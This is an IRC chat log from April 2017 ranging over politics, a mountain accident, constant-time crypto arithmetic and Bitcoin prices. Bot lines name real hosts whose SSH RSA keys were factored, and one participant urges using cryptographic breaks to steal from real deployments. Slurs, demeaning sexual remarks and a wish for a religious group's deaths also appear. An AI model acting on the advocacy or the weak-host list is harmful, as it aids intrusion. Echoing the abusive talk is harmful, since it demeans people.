1649764;1493439822;mircea_popescu;but this phenomenon exists whereby girl ends up in trouble for reasons which, upon later examination, turn out to not actually exist. that the whole thing was actually a misunderstanding is proof positive the entire system fits in no one's head : not in mine, who misunderstood what was going on, not in the girl;s herself, who, confronted with the misunderstanding, failed to identify what to say to dispel it.
1649765;1493439849;mircea_popescu;it's true that the failure is never (at least to date) permanent, but that dun seem dispositive.
1649766;1493439993;mircea_popescu;(the foregoing is also, if you're following the score, the principal argument of liberals (who, in practice, often end up very radical right wing, individual rights people) against the death penalty : since it is at least in principle possible that the whole thing was a misunderstanding, it is infinitely better to put the guilty in stocks in the basement than to throw them from a moving airplane. the later's reviewable.)
1649767;1493440020;mircea_popescu;i'm sorry. i mean the latter's not reviewable.
1649768;1493440614;mircea_popescu;http://btcbase.org/log/2017-04-28#1649584 << what, SOWF ? snakeoil-or-whatever framework ? bwahaha
1649769;1493440614;a111;Logged on 2017-04-28 21:42 ben_vulpes: good crypto lib name
1649770;1493441043;mircea_popescu;http://btcbase.org/log/2017-04-28#1649640 << this is very much the land of cool birds.
1649771;1493441043;a111;Logged on 2017-04-28 23:16 shinohai is obsessed with birds
1649772;1493441099;mircea_popescu;http://btcbase.org/log/2017-04-28#1649641 << i know this is nonsense the moment it fails to correctly identify hippy-ism/hipsterism as the principal authoritarian ideology left.
1649773;1493441099;a111;Logged on 2017-04-28 23:19 pete_dushenski: in related metaphysical sciences, "Multivariate linear regression analysis indicated that lifetime psychedelic use (but not lifetime cocaine use or weekly alcohol consumption) positively predicted liberal political views, openness and nature relatedness, and negatively predicted authoritarian political views, after accounting for potential confounding variables. Ego dissolution experienced during a
1649774;1493441206;mircea_popescu;"liberal political views" are actually out and out fascism (which is different from nazism). compare and contrast "everything is connected man" karmauniverseblabla with http://trilema.com/2013/sex-in-the-news/#selection-105.0-105.213
1649775;1493441218;mircea_popescu;("Against individualism, the Fascist conception is for the State; and it is for the individual in so far as he coincides with the State, which is the conscience and universal will of man in his historical existence.")
1649776;1493441351;mircea_popescu;http://btcbase.org/log/2017-04-28#1649645 << "ego dissolution" requires stuff like you know, being too lazy to be able to maintain one / too dumb to even want to have one. works fine but on the idle byproducts of comfortable white man's sexual practices.
1649777;1493441351;a111;Logged on 2017-04-28 23:21 asciilifeform: pete_dushenski: this was the hope, when usg tried to package lsd as an artillery payload. 'ego dissolution'. didn't pan out.
1649778;1493441509;mircea_popescu;http://btcbase.org/log/2017-04-28#1649658 << no, actually. ~black chick wanted to know if my penis is really big ; i told her it's normal. she later saw it and her comment was "oh that's not normal!!1" (her english is approximative. other girl chuckled at the implicationz.)
1649779;1493441509;a111;Logged on 2017-04-28 23:25 asciilifeform: it worx great; done in same clinic where they paint you black to lengthen cock
1649780;1493441555;mircea_popescu;notwithstanding the flattering aspects -- my cock is actually quite normal. the theory whereby black dudes have huge cocks is ~false.
1649781;1493441649;mircea_popescu;(the principal driver for large penii is female sluttery ; there is no such thing as "the naiton of africa" and there's black or ~black people living from brazil to india. there's no homogenity of female sluttery in everyone's history and so...)
1649782;1493441801;mircea_popescu;http://btcbase.org/log/2017-04-28#1649659 << the principal problem with this "multivariate regression" bs-chasing is that desirable traits almost never correlate with marginal traits. it may be true that intelligent (more to the point, "successful"-juju) people are ~taller than~ average population. however, the outer edges of tallness will not contain the outer edges of good-juju, and vice-versa. to make the point practical,
1649783;1493441801;a111;Logged on 2017-04-28 23:26 pete_dushenski: something about incidence of men >6'5" being <1% in general population but ~20% amongst fortune 500 ceos
1649784;1493441802;mircea_popescu;i bet you that, to use your numbers, the 6"5 cohort in your study composes a  lesser section of "the ceos" than the 6"4 cohort.
1649785;1493441825;mircea_popescu;you can verify this sort of anti-property directly every time someone publishes one of these bs studies and actually forgets to scrub all the data.
1649786;1493442103;mircea_popescu;http://btcbase.org/log/2017-04-29#1649775 << come to think of it, this is rather remarkable a quote, enacting as it is teh republic as the ~only antifa available. "for the individual against the state and for the state only inasmuch as it identifies with the individual"
1649787;1493442103;a111;Logged on 2017-04-29 04:46 mircea_popescu: ("Against individualism, the Fascist conception is for the State; and it is for the individual in so far as he coincides with the State, which is the conscience and universal will of man in his historical existence.")
1649788;1493442238;mircea_popescu;http://btcbase.org/log/2017-04-28#1649667 << bwahaha. apparently it occurs to no-one that by the time merit washing requires them "seasoned cryptographers" and "security researchers" BY THE ROOMFULL, and anonymously, the actual value of either symbol isn't very much anymore nor can be.
1649789;1493442238;a111;Logged on 2017-04-28 23:30 asciilifeform: 'It is the most advanced and secure instant messaging protocol to date. This is why the designers got an award in front of a conference full of seasoned cryptographers and security engineers a week back for improving Real World Cryptography. ' << from turd in earlier thread. that thing is ~bottomless lulzmine.
1649790;1493442286;mircea_popescu;http://btcbase.org/log/2017-04-28#1649669 << but SuCcEsS alfie!!! succes!!! what do these faces have in common!!11
1649791;1493442286;a111;Logged on 2017-04-28 23:31 asciilifeform: 'fortune 500' is approx as interesting as that other nomenklatura.
1649792;1493442468;mircea_popescu;http://btcbase.org/log/2017-04-28#1649689 << one way out of making it fixed time is to always do pairs. correctly construct the pairs and only return once both computed.
1649793;1493442468;a111;Logged on 2017-04-28 23:49 asciilifeform: ( best mod exp algo i've found appears to be 'montgomery's ladder', but i am not convinced that it can be made fixed-time )
1649794;1493442497;mircea_popescu;in some cases it may be worth it to do twice the work on non-fixed-time algo than to actually fixtime the algo.
1649795;1493442546;mircea_popescu;http://btcbase.org/log/2017-04-28#1649691 << you missed out the roomful of ~, evidently. they pass these things out there, with the rubber chicken.
1649796;1493442546;a111;Logged on 2017-04-28 23:50 phf: in related lulz Karatsuba and Ofman's "Multiplication of Many-Digital Numbers by Automatic Computers" doesn't seem to be available anywhere online, but "everyone" seems to know it somehow
1649797;1493442687;mircea_popescu;http://btcbase.org/log/2017-04-29#1649713 << from my own ethnological surveys, anglo "intellectual" has books in house as chick trap and little more. they tend to be confined to one or three shelves well placed in the party room, sort-of like mantlepieces of yore.
1649798;1493442687;a111;Logged on 2017-04-29 00:03 phf: vaguely related, all these papers that cite subj. i'm sure all these people have a copy in their private collection (the one they referenced when writing!!1), that they don't share out of copyright considerations and the respect for great scientist
1649799;1493442712;mircea_popescu;"look, i can afford fire, pretty young thing! dare be naked, you won't freeze here!"
1649800;1493442769;asciilifeform;http://btcbase.org/log/2017-04-29#1649794 << hatetobreakit: an algo where you can do this (e.g. the egyptian mult in my example) IS a fixtime algo. that's what they are..
1649801;1493442769;a111;Logged on 2017-04-29 05:08 mircea_popescu: in some cases it may be worth it to do twice the work on non-fixed-time algo than to actually fixtime the algo.
1649802;1493442783;mircea_popescu;aww.
1649803;1493442821;asciilifeform;( observe, the adder cycles every time, 'needed' or no)
1649804;1493442827;mircea_popescu;http://btcbase.org/log/2017-04-29#1649716 << in other lelz.
1649805;1493442827;a111;Logged on 2017-04-29 00:05 mats: http://btcbase.org/log/2017-03-21#1630579 << similarly, did amd mole get a red star for 'f00f' bug? ;)
1649806;1493442833;mircea_popescu;asciilifeform I WAS HAVING FUN!
1649807;1493442846;asciilifeform;lolk i'ma back to sleep
1649808;1493442864;mircea_popescu;i keep putting these small charge footmines in the logs you dutifully scoop them up.
1649809;1493442970;mircea_popescu;http://btcbase.org/log/2017-04-29#1649727 << that ~is~ lulzy.
1649810;1493442970;a111;Logged on 2017-04-29 00:33 asciilifeform: linus, involved, iirc. never mentions it today.
1649811;1493442991;mircea_popescu;you'd expect respectable people involved in something either publish post mortem or aren't very respectable going forward.
1649812;1493443214;mircea_popescu;http://btcbase.org/log/2017-04-29#1649749 << did "overflow" end up unable to be 0 by those declarations ?
1649813;1493443214;a111;Logged on 2017-04-29 01:25 asciilifeform: actually this is a 'classy' bug, turns out
1649814;1493443268;deedbot;http://phuctor.nosuchlabs.com/gpgkey/B9A7AF642EC0F776E94F2D24515B49F08BF57A02EFE13F16096D9511D5C5078D << Recent Phuctorings. - Phuctored: 1501...6913 divides RSA Moduli belonging to '89.187.208.70 (ssh-rsa key from 89.187.208.70 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (resellerportal.vitroconnect.de. DE)
1649815;1493443268;deedbot;http://phuctor.nosuchlabs.com/gpgkey/B9A7AF642EC0F776E94F2D24515B49F08BF57A02EFE13F16096D9511D5C5078D << Recent Phuctorings. - Phuctored: 1726...7397 divides RSA Moduli belonging to '89.187.208.70 (ssh-rsa key from 89.187.208.70 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (resellerportal.vitroconnect.de. DE)
1649816;1493445383;mircea_popescu;ben_vulpes whart's the difference between auto_ptr and unique_ptr, dja know ?
1649817;1493449582;mircea_popescu;"Unlike TCP, the service mesh has a significant goal beyond “just make it work”: it provides a uniform, application-wide point for introducing visibility and control into the application runtime."
1649818;1493449602;mircea_popescu;dude, what the fuck is with the bullshit. "we made a tcp on top of tcp because we're bored at "work" and hurr."
1649819;1493449644;mircea_popescu;"The explicit goal of the service mesh is to move service communication out of the realm of the invisible, implied infrastructure, and into the role of a first-class member of the ecosystem—where it can be monitored, managed and controlled." << alternatively, you could read a fucking book. motherfucking chukas.
1649820;1493449775;mircea_popescu;o wait, and the whole thing is actually copy for this "linkerd" piece of shit "buoyant.io" is hawking.
1649821;1493449778;mircea_popescu;fucking hell.
1649822;1493449860;mircea_popescu;and of course no way to leave a comment on the "announcing linkerd 1.0" follow-up piece. but i could "share this post on hacker news".
1649823;1493449873;mircea_popescu;too bad i wanted to leave them a "drop fucking dead, bunch of illiterate monkeys"
1649824;1493450338;mircea_popescu;"Instead, the effort that could have been spent on securing the system was spent on public relations.  The firm claimed that the attack could work only on our own copy of Fortress (in fact, it could work with any copy at all because it deduced the key from the data on the disk)." << from kochanski's (ancient) piece on comedy of commercial encryption software. the shamans still falling into same pits today, of course, as seen
1649825;1493450338;mircea_popescu;in say http://btcbase.org/log/2017-04-27#1648550
1649826;1493450338;a111;Logged on 2017-04-27 16:26 mircea_popescu: !~google shawn@digiland.com
1649827;1493450449;mircea_popescu;of course, any fiat paper must include its "hail party" lines, and so "In retrospect this time marks a turning point in the history of cryptology. No longer would products compete on claimed "better algorithms" than their opposition. It became in everyone's interest to focus on published algorithms whose design principles were well known. Cryptographic products found other areas to compete in (speed, features, ease of use) an
1649828;1493450449;mircea_popescu;d because cryptology is now a respectable academic discipline, the benefits of publishing a successful attack on a cryptosystem far outweigh the dubious benefits of keeping that attack secret and using it for some kind of fraud. In this area, at least, cryptology has grown up."
1649829;1493450502;mircea_popescu;to be perfectly clear : the ONLY use of a successful attack on a cryptosystem is to attack real world deployments. publishing is particularly a worthless (and stupid) endeavour, because it gives a lazy and entitled "public" something for free that it shouldn't have even for pay.
1649830;1493450522;mircea_popescu;no, break the thing, steal the shit, blame nsa. the gutting of the socialist empire must proceed apace.
1649831;1493450546;mircea_popescu;there is no "cryptology" field. nothing grew up.
1649832;1493450608;mircea_popescu;and findally, yes "products" no "longer" compete on algos but on puffery. this is not because of anything than laziness, intellectual and otherwise, on the part of everyone involved. similarily, "psychic healers" also do not compete on healing but on distance, having the phonelines open 24/7 and other points of ~convenience~.
1649833;1493469832;mircea_popescu;aaand in not-really-news : avalance in retezat (romanian mountain) killed a few kids that were european and world record holders in mountain-related items. ro "our democracy" media railing about how the trainer (also father of one of the victims) "forced his two daughters to break record after record while training in EXTREME CONDITIONS!!!1 ONLY TO SATISFY HIS OWN EGOTISM!!1111"
1649834;1493469911;mircea_popescu;needless to say there's not been a ro gymnast worth the spittle in a while. i wonder why. i also wonder http://trilema.com/2014/fata-morgana-or-the-mirage-of-a-free-and-open-market/#selection-85.0-85.168 ie you know, "where is the new zealand socrates".
1649835;1493469923;mircea_popescu;they were probably eaten by successful white men!!1
1649836;1493470531;diana_coman;from what I read it was more that they were idiots on the day ignoring the weather forecast and making a poor decision on the spot re path to take
1649837;1493470583;mircea_popescu;ex post facto-isms. where were these experts prior to the event ?
1649838;1493470606;mircea_popescu;from experience, every time something blows up i can produce for the benefit of the slavegirl in whose hands it did blow up a list of what minor precautions she could have taken.
1649839;1493470610;diana_coman;they were there
1649840;1493470626;diana_coman;there was another group who were pro and told them even to take a different route
1649841;1493470632;diana_coman;they helped them afterwards too
1649842;1493470638;mircea_popescu;mmm
1649843;1493470642;diana_coman;let me fish that out I suppose
1649844;1493470646;*;mircea_popescu didn't follow the details all too close. sure.
1649845;1493471044;mircea_popescu;in other news, me finally stumbled on https://github.com/BenBE/kompromat/tree/master/src/phuctor.nosuchlabs.com ( BenBE being http://blog.benny-baumann.de/ )
1649846;1493471249;mircea_popescu;http://blog.benny-baumann.de/wp-content/uploads/Mausefalle.gif << in better mouse traps.
1649847;1493471291;shinohai;^ pay attention alf
1649848;1493471302;mircea_popescu;it conceivably could work for squirrels
1649849;1493471349;shinohai;coat that pb with birdseed .... those little fuckers eat ALL my goddamned birdseed I put out.
1649850;1493471439;mircea_popescu;http://hiddenlol.com/lol/143419 << hitler revival circuit.
1649851;1493472005;diana_coman;the mountain guide guy did not write his account in any sane place of course, but anyways: http://www.flux24.ro/marturie-socanta-a-unui-martor-la-tragedia-din-retezat/
1649852;1493472016;diana_coman;mircea_popescu, ^
1649853;1493472028;mircea_popescu;shinohai if he manages to capture the lot he could not only skin 'em and make himself a hat + bathingsuit for girl combo, but also could make squirrel stu.
1649854;1493472048;mircea_popescu;diana_coman yeah they are pretty weird with that huh. /me reads
1649855;1493472165;mircea_popescu;diana_coman apparently the greenhorns stand accused of having actually ~caused~ the avalanche that claimed the experts ?
1649856;1493472331;diana_coman;uhm, do you mean the mountain guide was the greenhorn?
1649857;1493472335;mircea_popescu;yes, i do.
1649858;1493472360;diana_coman;then that's what I read there too that they were accused of that, yes; I don't know about the accusation as such though
1649859;1493472383;mircea_popescu;things like "there's no gsm signal therefore survival chances are minimal" tend to give him away. seeing how you know, gsm, our democracy and his assorted ineptitudes were invented slightly after retezat stood there.
1649860;1493472439;mircea_popescu;diana_coman let's consider this : late april, you can go lower or higher. if you're competent you take your pick, if you are not competent and so can't follow the competent YOU DO NOT GO. you don't fucking go anyway, relying on your group numbers, and then of fucking course if you bigfoot about HIGHER than the other guys end up... causing an avalanche.
1649861;1493472503;diana_coman;thing is: you are competent, right? and meet the big group who TELL you they are going on the higher route; so then?
1649862;1493472513;mircea_popescu;tell them to get the fuck off your mountain.
1649863;1493472516;mircea_popescu;in a sane society, at least.
1649864;1493472561;diana_coman;eh, sure; they didn't tell them that, nor did they take into account the reality basically
1649865;1493472567;diana_coman;so dunno how competent is that
1649866;1493472569;mircea_popescu;because no, random dork who's read all the tedx and reddit on the topic and intends to follow it by the letter is not thereby qualified to have an opinion on things and matters. which is what this catalin ioan berenghi schmuck strikes me as.
1649867;1493472593;diana_coman;oh, there are here those dorks but they SHOULD NOT be here therefore we just..ignore them
1649868;1493472596;diana_coman;is that competence now.
1649869;1493472597;diana_coman;?
1649870;1493472598;mircea_popescu;diana_coman yes, and this is exactly my greater point here : competent people don't understand how to defend themselves from the tedx crowd, and don't. they're, basically speaking, dodo birds.
1649871;1493472614;mircea_popescu;and if society in general doesn't understand this either, in short order you'll find yourself wondering where the dodo bird went.
1649872;1493472615;diana_coman;I fail to see how is that competence, really
1649873;1493472627;mircea_popescu;diana_coman it's technical competence, not politicval competence.
1649874;1493472633;mircea_popescu;that's the problem, in nucet.
1649875;1493472639;diana_coman;oh, they were competent STRICTLY at climbing a mountain; provided the mountain is in the lab; in the void
1649876;1493472643;mircea_popescu;yup.
1649877;1493472647;diana_coman;bullshit
1649878;1493472658;mircea_popescu;you know, like jwz. or like teh people on #bitcoin-assets pre dragon call.
1649879;1493472672;mircea_popescu;diana_coman bullshit, yes. but this is a factual description of the world. you're gonna ignore it now ?
1649880;1493472689;Framedragger;http://btcbase.org/log/2017-04-29#1649845 << heh http://btcbase.org/log/2017-04-09#1640732
1649881;1493472689;a111;Logged on 2017-04-29 13:04 mircea_popescu: in other news, me finally stumbled on https://github.com/BenBE/kompromat/tree/master/src/phuctor.nosuchlabs.com ( BenBE being http://blog.benny-baumann.de/ )
1649882;1493472689;a111;Logged on 2017-04-09 14:01 Framedragger check https://github.com/BenBE/kompromat later, looks cool
1649883;1493472696;diana_coman;I get the not-political thing; I am more on the technical side myself, but there is some limit to what can be called competence
1649884;1493472698;mircea_popescu;Framedragger aha, saw it in logsearch.
1649885;1493472711;Framedragger;ah, kk. i didn't spot the phuctor downloader back then
1649886;1493472741;diana_coman;mircea_popescu, eh, good try, you know? I'm not ignoring anything; I'm simply saying that no, someone is NOT competent if they die when they try to do their thing in the real world
1649887;1493472750;mircea_popescu;diana_coman in principle, sure. so far as the matter stands, one man trained a bunch of record holders and the other man went around retezat in large groups. how the fuck even dare he take 51 persons over there ?
1649888;1493472759;mircea_popescu;you ever seen a group that large who wasn't 105% douchebag by mass ?
1649889;1493472769;diana_coman;no, I do NOT go where such groups go, lolz
1649890;1493472782;diana_coman;and I don't claim competence in mountaineering or whatevers
1649891;1493472788;mircea_popescu;how about such groups don't go where you go, instrad. fucking sheep already. "guides" pshew.
1649892;1493472797;mircea_popescu;well me either, but what can you do.
1649893;1493472839;mircea_popescu;(for the innocent : retezat is a hard mountain, dozen-ish groups are about the largest that can be sanely managed. to ensure things such as you know, NOT STARTING AVALANCHES)
1649894;1493472896;mircea_popescu;http://www.retezatclimbing.ro/images/home/Iarna.jpg << pretty though.
1649895;1493473158;Framedragger;wow. that'll do
1649896;1493473468;mircea_popescu;hm ?
1649897;1493474478;Framedragger;the mountain looks quite grand and avalanchy.
1649898;1493474650;*;shinohai imagines mircea_popescu at top practicing yodeling with slave girls in dirndls
1649899;1493475843;mircea_popescu;a yeah.
1649900;1493475866;mircea_popescu;it's not even the drop per se. it's very rocky, it'll crack your skull wide open in a 20 foot fall.
1649901;1493475877;mircea_popescu;from what i can see what happened here, also./
1649902;1493475910;mircea_popescu;shinohai nah, my days of mountain walking were over just about the time girls started to interest.
1649903;1493475979;shinohai;http://i.dailymail.co.uk/i/pix/2017/04/28/10/3FAFDA2200000578-0-image-a-63_1493373300468.jpg   <<< New way to `rack up` support for Putin?
1649904;1493476006;mircea_popescu;lel. pretty surte they were doing this years ago9 also
1649905;1493476079;shinohai;Trump, pay attention for next campaign.
1649906;1493476095;mircea_popescu;eh, he;s not running again.
1649907;1493486782;BingoBoingo;It's hard to say. Depends on what pantsuit party does.
1649908;1493487134;mircea_popescu;the notion that it'll still exist by 2020 is a little dubious.
1649909;1493487138;Framedragger;BingoBoingo: in http://qntra.net/2017/04/balance-of-buttfunex-cold-storage-address-down-50-kilobitcoin-and-falling/ , s/fait/fiat/
1649910;1493487223;Framedragger;unless... hm! "fait" could mean "done" in french (sth like that?), and so the "fait banking partners" could mean done-for? :D
1649911;1493487229;mircea_popescu;pantsuit party is a very volatile hodge podge of single issue fascists ("gender rights", "Ecologists", radical black activists, some latino weirdos etc) and multi-issue socialists that used to masquerade as "market oriented liberal capitalists" (the dudes who keep pushing the "science" narrative etc) and are now about as confused wrt their identity as dude trying to wear a suit on wall street by day and suck cock on knees in
1649912;1493487229;mircea_popescu;bar alleys by night.
1649913;1493487241;mircea_popescu;which is ~exactly representative an image, as it happens.
1649914;1493487291;mircea_popescu;there was no way to keep this pile of cats and octopi herded even should clinton have won.
1649915;1493487361;mircea_popescu;republican party has not this peroblem at all : the trump side is 30yos who want to curb stomp faggots, pussies and people from SV ; the remainder is people over 70. nature resolves that problem all by itself.
1649916;1493487973;*;BingoBoingo working on recap of first hundred days of 8 year trumpreich
1649917;1493488090;mircea_popescu;promising
1649918;1493489559;deedbot;http://phuctor.nosuchlabs.com/gpgkey/D543C1F45DA5FD8748E07BBEF67C3E6F1182F7E0AC7281F44D010E24A21BD1BA << Recent Phuctorings. - Phuctored: 1668...4503 divides RSA Moduli belonging to '190.16.223.54 (ssh-rsa key from 190.16.223.54 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (54-223-16-190.fibertel.com.ar. AR)
1649919;1493489559;deedbot;http://phuctor.nosuchlabs.com/gpgkey/D543C1F45DA5FD8748E07BBEF67C3E6F1182F7E0AC7281F44D010E24A21BD1BA << Recent Phuctorings. - Phuctored: 1748...4807 divides RSA Moduli belonging to '190.16.223.54 (ssh-rsa key from 190.16.223.54 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (54-223-16-190.fibertel.com.ar. AR)
1649920;1493491750;pete_dushenski;lobbes: done. thx for making it easy! confirm that all's as intended when you have a chance.
1649921;1493491765;pete_dushenski;!Qcalc 2+2
1649922;1493491766;lobbesbot;pete_dushenski: 4
1649923;1493491781;pete_dushenski;o hey it works here too. /me goes to edit table
1649924;1493491790;lobbes;http://www.contravex.com/trilema-bots-directory/ << "Nothin Found" O-o
1649925;1493491818;lobbes;aha: http://www.contravex.com/trilema-and-eulora-bots-directory/
1649926;1493491866;pete_dushenski;ya, the redirect from the old url to the new one isn't working for some reason. bots.contravex.com should work tho.
1649927;1493491882;lobbes;sweet though. looks good!
1649928;1493491886;lobbes;thanks again :)
1649929;1493491899;pete_dushenski;cheers :)
1649930;1493491931;shinohai;ty pete_dushenski o/
1649931;1493492036;pete_dushenski;yw
1649932;1493492112;*;pete_dushenski to go dress us like a penguin and vibrate his vocal chords like a good little church boy. laters!
1649933;1493492128;shinohai;btw pete_dushenski Bram Cohen immediately blocked me upon (I assume) reading that post ;)
1649934;1493492186;mircea_popescu;that'll show you!\
1649935;1493493713;BingoBoingo;In other news pro-Falun Gong paid advertorials are popping up in alt-right venues
1649936;1493493749;mircea_popescu;what is that thing again ?
1649937;1493493947;BingoBoingo;The chinese verision of "back to Budda" conservative religious movement. Kinda somewhere between the Southern Baptists and the Mormons, but my eastern religions map is not adequately calibrated anologize it precisely
1649938;1493494011;mircea_popescu;oh the verboten right right i recall.
1649939;1493494082;BingoBoingo;Calls for elmination of the pervert's Communist Party of China and does outreach through dance troupes and pretty girls
1649940;1493494143;mircea_popescu;aha.
1649941;1493494158;BingoBoingo;Also the Dalai Lama is the historical anti-Christ
1649942;1493494195;BingoBoingo;So maybe a touch of Jehova's Witness in their theologisty
1649943;1493494290;BingoBoingo;And their tagline to the alt-right is China could be "Great Again"(TM)(R) if only we dumped the commies and opium
1649944;1493494332;mircea_popescu;except china has never in its history been this great.
1649945;1493494402;BingoBoingo;but it could be AGAIN!!!
1649946;1493494473;mircea_popescu;oic.
1649947;1493494608;BingoBoingo;It's a sufficiently lulzy religion that I must research deeper.
1649948;1493494680;mircea_popescu;lol godspeed!
1649949;1493494812;BingoBoingo;LOL
1649950;1493495337;asciilifeform;http://btcbase.org/log/2017-04-29#1649935 << loathesome dissiderp scum
1649951;1493495337;a111;Logged on 2017-04-29 19:21 BingoBoingo: In other news pro-Falun Gong paid advertorials are popping up in alt-right venues
1649952;1493495368;BingoBoingo;loathesome does not always preclude lulzy
1649953;1493495412;asciilifeform;we have'em here, in their cult outfits, dourly waving photos of cn executioners, supposedly disassembling similar derps for organs
1649954;1493495472;mircea_popescu;what'd you have them do ?
1649955;1493495491;asciilifeform;die?
1649956;1493495501;BingoBoingo;The only thing that matters is "Are their girls pretty and well behaved?"
1649957;1493495515;asciilifeform;'mr bond, we expect you to die!' (tm)(r)
1649958;1493495561;mircea_popescu;lolk
1649959;1493495636;asciilifeform;entirely, afaik, typical 'colour revolutionaries' .
1649960;1493495798;mats;the 'bodies exhibit' is, even now, plagued by persistent rumors like that
1649961;1493495825;mats;'they use corpses of executed chinese political prisoners!'
1649962;1493495854;mircea_popescu;asciilifeform hey, they want to be part of the great beyond / "our" democracy!
1649963;1493495860;mircea_popescu;death cults are death cults, what.
1649964;1493495966;asciilifeform;not only 'be', but to drag the whole 1.5bn-strong middlekingdom, along for the ride.
1649965;1493495980;mircea_popescu;hey, it'd validate them!
1649966;1493496115;BingoBoingo;Death cults sell. Step 1 Death Cult with fambly values, Step 2 Don't actually die so much ??? Profit
1649967;1493496127;BingoBoingo;Anyways, Koran sells a death cult too
1649968;1493496200;mats;most of the west's exported culture is death cult
1649969;1493496250;mats;obsession with zombies, alien attacks, replacement by replicants (Bladerunner, Battlestar Galactica), ...
1649970;1493496294;asciilifeform;mats: forget bladerunnner. mcfood is what if not deathcult.
1649971;1493496314;Framedragger;i still say 'fuck you cisco' for pitching (and later selling) customised surveillance infrastructure to china by saying that its shit can "combat ‘Falun Gong’ evil religion and other hostiles" (sic)
1649972;1493496340;asciilifeform;mcfood, mchouse, mcjob, mclife makes good ol' death look pretty good in contrast.
1649973;1493496351;Framedragger;not sure if falun gong really had done much at that point. but cisco wiretapping was used to track 'em down and kill 'em
1649974;1493496379;asciilifeform;Framedragger: possibly the one meritorious thing cisco ever did, if true.
1649975;1493496380;Framedragger;(https://www.wired.com/images_blogs/threatlevel/files/cisco_presentation.pdf &c, for posterity)
1649976;1493496388;*;Framedragger not a fan
1649977;1493496427;mats;i'd be surprised if any tech corp in us does not comply with CALEA
1649978;1493496446;mats;anyone exporting tech, then, is guilty of the same
1649979;1493496524;Framedragger;saw 'em in seoul, too. "meh", let them be, no?
1649980;1493496565;mats;anyone manufacturing comms equipment, anyway
1649981;1493496590;mats;cisco's not special in that way, just particularly visible
1649982;1493496601;BingoBoingo;Anyways this cult seems to have realized the leftists humanitatians care more for spreading Aids in Africa and would rather cozy up to Trump
1649983;1493496617;Framedragger;mats: sure, sure. but it's *particularly* in-your-face when you're pitching and saying "we can track X down so you can er lawfully take care of em"
1649984;1493496795;mats;the honesty would be refreshing, but i see no mention of falun gong in that lin
1649985;1493496799;mats;k
1649986;1493496892;Framedragger;it should be under 'golden shield' section
1649987;1493496983;Framedragger;page 57
1649988;1493497017;Framedragger;it quotes some statement official or w/e, but is there
1649989;1493497374;BingoBoingo;Oh, they have a newspaper http://www.theepochtimes.com/n3/2245394-an-overview-of-president-trumps-first-100-days-in-office-2/
1649990;1493497775;mircea_popescu;Framedragger hey, they were trying to spread teh nsa goodword!
1649991;1493497923;Framedragger;myeah :)
1649992;1493498226;mircea_popescu;mats "calea" is a domestic item.
1649993;1493499531;shinohai;!~later tell BingoBoingo http://wotpaste.cascadianhacker.com/pastes/IO3Zz/?raw=true
1649994;1493499531;jhvh1;shinohai: The operation succeeded.
1649995;1493500054;deedbot;http://qntra.net/2017/04/first-one-hundred-days-of-the-eight-year-trumpreich-a-recap/ << Qntra - First One Hundred Days Of The Eight Year Trumpreich: A Recap
1649996;1493500390;BingoBoingo;ty shinohai
1649997;1493500435;mircea_popescu;BingoBoingo all in all the first hundred aren't as much of a lulz shower as the first dozen seemed to imply huh.
1649998;1493500480;BingoBoingo;Not really. Not between the pantsuit judges and the realization that Congress is a bunch of welfare queens.
1649999;1493500502;mircea_popescu;hey, representatives.
1650000;1493500535;BingoBoingo;2018 primary season will probably brings substantial lulz
1650001;1493500919;BingoBoingo;And the presumptive leader of Pantsuit to challenge Trump in 2020 is likely to be Elizabeth 'Pocahontas' Warren
1650002;1493500928;deedbot;http://qntra.net/2017/04/shinohais-shitcoin-roundup-xtendtmr-antbleed-the-persistence-of-winklevii-etc/ << Qntra - Shinohai's Shitcoin Roundup Xtend(TM)(R): Antbleed, The Persistence of Winklevii, etc
1650003;1493500981;shinohai;ty BingoBoingo ^.^
1650004;1493502073;mircea_popescu;Framedragger basically what you're saying is that you disapprove of fiat pseudolaw being applied, when obviously the republic is the only sovereign. which, yes, is not a controversial point.
1650005;1493502245;BingoBoingo;!~ticker --market all
1650006;1493502252;jhvh1;BingoBoingo: Bitstamp BTCUSD last: 1336.2, vol: 4311.64673412 | BTC-E BTCUSD last: 1294.778, vol: 4373.37827 | Bitfinex BTCUSD last: 1425.7, vol: 10131.89493401 | BTCChina BTCUSD last: 1128.878, vol: 5009.08220000 | Kraken BTCUSD last: 1333.0, vol: 2237.88542074 | Volume-weighted last average: 1323.9223361
1650007;1493502321;mircea_popescu;reading those "volume" figures is such a lulz in and of itself.
1650008;1493502340;mircea_popescu;really, bitfinex has a nonzero volume ? truly, btcchina deals in bitcoin now ? will miracles never cease ?
1650009;1493502364;danielpbarron;!~calc 93746*0.00000001*1336.2
1650010;1493502366;jhvh1;danielpbarron: 93746*0.00000001*1336.2 = 1.252634052
1650011;1493502378;danielpbarron;samovar index is up to 1 buck 25!
1650012;1493503928;mircea_popescu;lel
1650013;1493505825;Framedragger;mircea_popescu: yeah i guess it's just a specific case of a general meh-thing
1650014;1493507227;asciilifeform;in other noose, http://www.loper-os.org/pub/umdlulz2017/index.html
1650015;1493508037;mircea_popescu;ooook ?
1650016;1493508047;asciilifeform;entomological interest.
1650017;1493508226;Framedragger;terp zone? moar like twerp zone hueheuhue
1650018;1493508490;mircea_popescu;i actually kinda prefer women's lavatories.
1650019;1493508561;asciilifeform;turns out usg heard mircea_popescu . and decided to abolish'em entirely !!
1650020;1493508621;mircea_popescu;aww.
1650021;1493508653;asciilifeform;the local... i hesitate to call'em 'restaurants' -- are also phasing'em out.
1650022;1493508680;mircea_popescu;so no more pissing in the best reich ?
1650023;1493508739;mircea_popescu;but since we're doing etimologies or what was it, apparently uppity tortilla (who was living independently for incomprehensible reasons) set his apartment on fire, and other than being kicked out is being prosecuted by a bunch of people who claim he owes them money (again).
1650024;1493508745;asciilifeform;all piss in same pissual.
1650025;1493508843;mircea_popescu;women can do this ?
1650026;1493510012;shinohai;Well since you brought it up mircea_popescu: https://www.ebay.com/p/?iid=232238911890&lpid=82&&&ul_noapp=true&chn=ps
1650027;1493521166;mircea_popescu;yeah, they keep trying to make girl cocks.
